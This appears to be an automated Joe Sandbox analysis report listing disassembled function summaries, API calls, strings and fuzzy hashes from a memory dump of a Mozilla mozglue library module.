?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CF5B0A6,6CF5B0A6,?,6CF5AF67,?,00000010,?,6CF5AF67,?,00000010,00000000,?), ref: 6CF5B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CF5B0A6,6CF5B0A6,?,6CF5AF67,?,00000010,?,6CF5AF67,?,00000010), ref: 6CF5B25F

Strings

map/set<T> too long, xrefs: 6CF5B1FA

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 74da17d0a5a8cfb7ecb240a2790dc3303ce938c921803eb9f976ca1d0fef979b
Instruction ID: 7cd82a5bcf59b7028c42edc7b47e9cf9faff17d4f9c74186a4dc53d6124cafb7
Opcode Fuzzy Hash: 74da17d0a5a8cfb7ecb240a2790dc3303ce938c921803eb9f976ca1d0fef979b
Instruction Fuzzy Hash: A2619A34A042458FD701CF19C880A9ABBF1FF5A318FA9C999D9598FB52C331EC55CBA1

Function 6CF1D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CF2CBE8: GetCurrentProcess.KERNEL32(?,6CEF31A7), ref: 6CF2CBF1
Part of subcall function 6CF2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEF31A7), ref: 6CF2CBFA

EnterCriticalSection.KERNEL32(6CF7E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CF2D1C5), ref: 6CF1D4F2
LeaveCriticalSection.KERNEL32(6CF7E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CF2D1C5), ref: 6CF1D50B

Part of subcall function 6CEFCFE0: EnterCriticalSection.KERNEL32(6CF7E784), ref: 6CEFCFF6
Part of subcall function 6CEFCFE0: LeaveCriticalSection.KERNEL32(6CF7E784), ref: 6CEFD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CF2D1C5), ref: 6CF1D52E
EnterCriticalSection.KERNEL32(6CF7E7DC), ref: 6CF1D690
LeaveCriticalSection.KERNEL32(6CF7E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CF2D1C5), ref: 6CF1D751

Strings

MOZ_CRASH(), xrefs: 6CF1D4BB

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: eecdb0d64d342e2b950f2bde59c833f283d6a888f2da680b97d487b858a7b8c8
Instruction ID: 9dd13ccdba07233732826364c91c682ad1cf4ae91a0a9df8c068a70b8486b0e9
Opcode Fuzzy Hash: eecdb0d64d342e2b950f2bde59c833f283d6a888f2da680b97d487b858a7b8c8
Instruction Fuzzy Hash: E351EF71A087118FD769CF28C09475AB7F1EB89314F658A2ED5A9C7F84D774E800CBA1

Function 6CF44630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CF44721

Strings

profiler-paused, xrefs: 6CF446E4
-%llu, xrefs: 6CF44733
., xrefs: 6CF4476A

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 18c12a2136463d09a8df26a62aebd7add3fc385080b38d291a0b7c9ceacbbfcd
Instruction ID: 5c57b07af8797d580ce5844b00f433f9bea33f358d02b0ee9fa93254d6f45a04
Opcode Fuzzy Hash: 18c12a2136463d09a8df26a62aebd7add3fc385080b38d291a0b7c9ceacbbfcd
Instruction Fuzzy Hash: A3413671E046089BCB08DF79E85225EBFF5EF85744F20C63EE855ABB82EB3098458751

Function 6CF69830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CF6985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CF6987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CF698DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CF698D9

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 707e77ef83bd676dd5ae6c53440a6baaf8ec18598cf6ddf93ddd53bc9b75fc07
Instruction ID: 3747f5295791ddf9b39554de5f097076de9e08e8c9f11bb1bd93a6f853334c2f
Opcode Fuzzy Hash: 707e77ef83bd676dd5ae6c53440a6baaf8ec18598cf6ddf93ddd53bc9b75fc07
Instruction Fuzzy Hash: 96310571A001085FDF14AF99D844AEE77A9EF84714F50842DEA0AABB40CB3599048BE1

Function 6CF446E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CF44721

Part of subcall function 6CEF4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CF33EBD,00000017,?,00000000,?,6CF33EBD,?,?,6CEF42D2), ref: 6CEF4444

Strings

profiler-paused, xrefs: 6CF446E4
-%llu, xrefs: 6CF44733
., xrefs: 6CF4476A

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: df28dc398aca9a567832664720214507da12eaa7c9630753e6b6a8868ab90a01
Instruction ID: bf2a156564c51e30d730e1f0e375598190d7d99714b8cea4192f51bdbd3c4e04
Opcode Fuzzy Hash: df28dc398aca9a567832664720214507da12eaa7c9630753e6b6a8868ab90a01
Instruction Fuzzy Hash: 88313C71F042185BDB0CCF6DE89169EBFE6DB89314F15853EE805ABB41EB74D8058B90

Function 6CF4B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEF4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CF33EBD,6CF33EBD,00000000), ref: 6CEF42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CF4B127), ref: 6CF4B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF4B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CF4B4E4

Strings

pid:, xrefs: 6CF4B4DE

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 0cac722770cc36ad6557d19675fa84bb37bdf87a2aa7db0e41f63536fce37bf2
Instruction ID: 154519b60e9c5ff676c6b64f9ae543f2ffb5295ba6bdd3bce774ff730ab8f1b4
Opcode Fuzzy Hash: 0cac722770cc36ad6557d19675fa84bb37bdf87a2aa7db0e41f63536fce37bf2
Instruction Fuzzy Hash: 7E31F231A01A189FDB10DFA9D880AEEBBB5BF45318F544929D811A7A43D731A849CBE1

Function 6CEFF100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6CF6D020), ref: 6CEFF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CEFF132

Strings

SHGetKnownFolderPath, xrefs: 6CEFF12C
shell32, xrefs: 6CEFF11D

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: ef3f751df4c92ccc0da1310a59f60893bed5d47cb73a7e267bda894613e883dc
Instruction ID: 1efe6213ddddfa29d2478994db48451718e556480d95a4f8dd1d58e8ee55157c
Opcode Fuzzy Hash: ef3f751df4c92ccc0da1310a59f60893bed5d47cb73a7e267bda894613e883dc
Instruction Fuzzy Hash: 00015E72B012259FCF508F65EC48A9B7BF8EF4A658B500419E859E7700D774A900CBB0

Function 6CF3E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF3E577
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3E584
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CF3E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CF3E5A1, 6CF3E5CC, 6CF3E5FF, 6CF3E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CF3E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CF3E826, 6CF3E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CF3E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CF3E722, 6CF3E750, 6CF3E7A2

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: a868049781700403a61ead0642369bc52789ea5c6f2fda7ff00b5880fada41db
Instruction ID: 3b20e49b2f801ed94e387728226a6faf5ca5b21e63194e198e6a645a9b9c0231
Opcode Fuzzy Hash: a868049781700403a61ead0642369bc52789ea5c6f2fda7ff00b5880fada41db
Instruction Fuzzy Hash: 8611A131E14268DFCB919F14E448BA9BBB4FB8A328F500929E94557B50C770A815CBF5

Function 6CF02272 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CF0237F
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CF02B9C

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: b8bfbc27d07bf48a4ff65b60d5e98da338ec7f3ba8881a3a8b668bcd70651568
Instruction ID: 860de94a38533a655e30cffc6e4892cb8aa81c2e802cbc48cf9833a685259333
Opcode Fuzzy Hash: b8bfbc27d07bf48a4ff65b60d5e98da338ec7f3ba8881a3a8b668bcd70651568
Instruction Fuzzy Hash: C2E18071B002058FDB18CF59C8A4B9EBBB2BF88714F19816DD9099B705D772EC85DBA0

Function 6CF40C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF40CD5

Part of subcall function 6CF2F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CF2F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF40D40
free.MOZGLUE ref: 6CF40DCB

Part of subcall function 6CF15E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CF15EDB
Part of subcall function 6CF15E90: memset.VCRUNTIME140(6CF57765,000000E5,55CCCCCC), ref: 6CF15F27
Part of subcall function 6CF15E90: LeaveCriticalSection.KERNEL32(?), ref: 6CF15FB2

free.MOZGLUE ref: 6CF40DDD
free.MOZGLUE ref: 6CF40DF2

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 105ed5a93b310bded90149b0f6de12b4e3321a202def2e883671ec6c0b9cddb3
Instruction ID: 8cab26ef48d0fa36619f4859c816d25dc20c3098c265ce7215296e237c3b4844
Opcode Fuzzy Hash: 105ed5a93b310bded90149b0f6de12b4e3321a202def2e883671ec6c0b9cddb3
Instruction Fuzzy Hash: 3C412B719187909BD720CF29C04079AFBF5BFD9714F108A2EE8D887B51DBB09449CB92

Function 6CF49120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CF48242,?,00000000,?,6CF3B63F), ref: 6CF49188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CF48242,?,00000000,?,6CF3B63F), ref: 6CF491BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6CF48242,?,00000000,?,6CF3B63F), ref: 6CF491EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CF48242,?,00000000,?,6CF3B63F), ref: 6CF49200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CF48242,?,00000000,?,6CF3B63F), ref: 6CF49219

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5d30f80889c3b94ba7607b4d23c17a1848b071e0bea6b0811562a80dd845f831
Instruction ID: 34435ebf19678e570c30f1817298dc18716fd2413df7e7c53812d51366bec0e2
Opcode Fuzzy Hash: 5d30f80889c3b94ba7607b4d23c17a1848b071e0bea6b0811562a80dd845f831
Instruction Fuzzy Hash: 97312132B006058BEB10DF78DD8876E7BA9EF81314F518669D856D7642EF30EA04CBA1

Function 6CF30800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF7E7DC), ref: 6CF30838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CF3084C
EnterCriticalSection.KERNEL32(?), ref: 6CF308AF
LeaveCriticalSection.KERNEL32(?), ref: 6CF308BD
LeaveCriticalSection.KERNEL32(6CF7E7DC), ref: 6CF308D5

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 18063e39a9103a81a22dfd0481e5d808b47ca6f4a390dd1d73e87869b159f6b1
Instruction ID: f7c65c49e730a6d78e1b49d5d5ba7c8fc8025d9d607a092c2fa09079b34b9094
Opcode Fuzzy Hash: 18063e39a9103a81a22dfd0481e5d808b47ca6f4a390dd1d73e87869b159f6b1
Instruction Fuzzy Hash: 6E21B031B11229ABEF44CF65E844BEA7379AF45708F50053AD91DA7B40DB76A8098BE0

Function 6CF4CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CF3DA31,00100000,?,?,00000000,?), ref: 6CF4CDA4

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

Part of subcall function 6CF4D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CF4CDBA,00100000,?,00000000,?,6CF3DA31,00100000,?,?,00000000,?), ref: 6CF4D158
Part of subcall function 6CF4D130: InitializeConditionVariable.KERNEL32(00000098,?,6CF4CDBA,00100000,?,00000000,?,6CF3DA31,00100000,?,?,00000000,?), ref: 6CF4D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CF3DA31,00100000,?,?,00000000,?), ref: 6CF4CDC4

Part of subcall function 6CF47480: ReleaseSRWLockExclusive.KERNEL32(?,6CF515FC,?,?,?,?,6CF515FC,?), ref: 6CF474EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CF3DA31,00100000,?,?,00000000,?), ref: 6CF4CECC

Part of subcall function 6CF0CA10: mozalloc_abort.MOZGLUE(?), ref: 6CF0CAA2

Part of subcall function 6CF3CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CF4CEEA,?,?,?,?,00000000,?,6CF3DA31,00100000,?,?,00000000), ref: 6CF3CB57
Part of subcall function 6CF3CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CF3CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CF4CEEA,?,?), ref: 6CF3CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CF3DA31,00100000,?,?,00000000,?), ref: 6CF4D058

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: abc9d74fb3fc2714c12ded69e275e956c6bc8bd35a23885db135bfef71c01fd4
Instruction ID: 3e2773d17affa5eab7ebb8ca622620d400e5fb33ff54222dce2ba12d0b037de2
Opcode Fuzzy Hash: abc9d74fb3fc2714c12ded69e275e956c6bc8bd35a23885db135bfef71c01fd4
Instruction Fuzzy Hash: 58D17071A04B069FD748CF28C480799FBE1BF89304F11862DD8598B712EB31E9A5CBD1

Function 6CF01720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CF017B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CF018EE
free.MOZGLUE(?), ref: 6CF01911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF0194C

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 2a8ed6f6330219ad3241da5acff3b96981a50ba3a41232303212810425eb1e75
Instruction ID: 2434f0c4c0005841ad120eb441eb2ddc7ff152bf417bded2d242e150072ef704
Opcode Fuzzy Hash: 2a8ed6f6330219ad3241da5acff3b96981a50ba3a41232303212810425eb1e75
Instruction Fuzzy Hash: 7081C270B112059FDB08CF68D8A49AEBBF1FF89718F14862CE811AB754D730E944CBA1

Function 6CF15C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CF15D40
EnterCriticalSection.KERNEL32(6CF7F688), ref: 6CF15D67
__aulldiv.LIBCMT ref: 6CF15DB4
LeaveCriticalSection.KERNEL32(6CF7F688), ref: 6CF15DED

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 30d8c27bd35450cc4f66f71ee3b211bc2cd5abc07fc0b70ce5790a8fd257ebcd
Instruction ID: 51659c4d380b40128d30fe9b844aeb73f1d47760eac07cc0359909131222a4b2
Opcode Fuzzy Hash: 30d8c27bd35450cc4f66f71ee3b211bc2cd5abc07fc0b70ce5790a8fd257ebcd
Instruction Fuzzy Hash: B2518271E181298FCF49CF68D854BBEBBB1FB89304F19461EC811A7B50C7306945CBA0

Function 6CF57170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CF57250
EnterCriticalSection.KERNEL32(6CF7F688), ref: 6CF57277
__aulldiv.LIBCMT ref: 6CF572C4
LeaveCriticalSection.KERNEL32(6CF7F688), ref: 6CF572F7

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
